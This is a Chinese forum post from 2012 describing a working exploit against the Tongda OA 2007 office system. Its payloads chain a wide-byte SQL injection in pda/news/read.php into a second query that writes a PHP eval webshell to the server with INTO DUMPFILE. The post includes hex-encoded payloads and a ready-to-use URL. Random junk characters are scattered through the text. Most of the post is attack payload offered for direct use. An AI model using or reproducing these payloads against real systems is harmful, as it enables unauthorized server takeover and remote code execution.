目前测试通达OA2007版本, ~+ x+ D' v1 u0 Y4 g
+ m7 E# x+ K4 t* d) y
: y9 V/ E3 [, c4 d7 oOffice Anywhere 2007 网络智能办公系统
5 @0 l% ~2 a6 u& `' ?) X* u( r; `) u % V2 Y) T$ i5 a" q$ o: y# B% {* k
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
1 Y* h0 B! r0 V1 C0 _+ Z2 c& l
. ^" D- m# L) V2 ` 5 k4 b5 R+ _' t) ~
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的+ \ f5 M3 s* m! q* Q
# {8 R$ y; T |; y: [
例如：SELECT * from USER where USER_ID='{$USERNAME}'
% Z! ~$ R3 H; |+ l E9 o9 j其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
9 A' k! s3 B2 O
8 `" C( d- ~! f3 @8 d; p这个时候我们是不是可以组合起来使用哪？
6 V' ]5 J: e* \- G" T
! s" @5 b7 `9 j! D* q/ v第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
( \# n) c3 y1 eunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,105 G( v3 }! D- C p J8 Y
/ ]! a" \ A6 t& `! U+ w3 G这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了! `% i' \" w) |* R1 i+ i
% ^. x/ W0 n8 b$ X
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
4 l" S6 W& m J: q* D
( f" i% X! @8 f0 |- J; C2 g4 r, a那么我们用字符串格式带入进行hex编码
) t9 {: x* y! P4 [
! [2 A8 p- C9 W' P9 k%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
5 T; {8 h3 m0 o; Q9 i# r0 z
5 z3 P2 Y9 b i& f) u测试ok，获取oa的webshell! f g& s1 F7 l, }, P0 M: ^
- |+ S8 o) m4 e4 F3 I! n9 T9 [( [+ ^$ B
/ }7 \3 L8 G- K8 _" {; S" Z
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%232 C; `* T! A; R" N% F. K
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对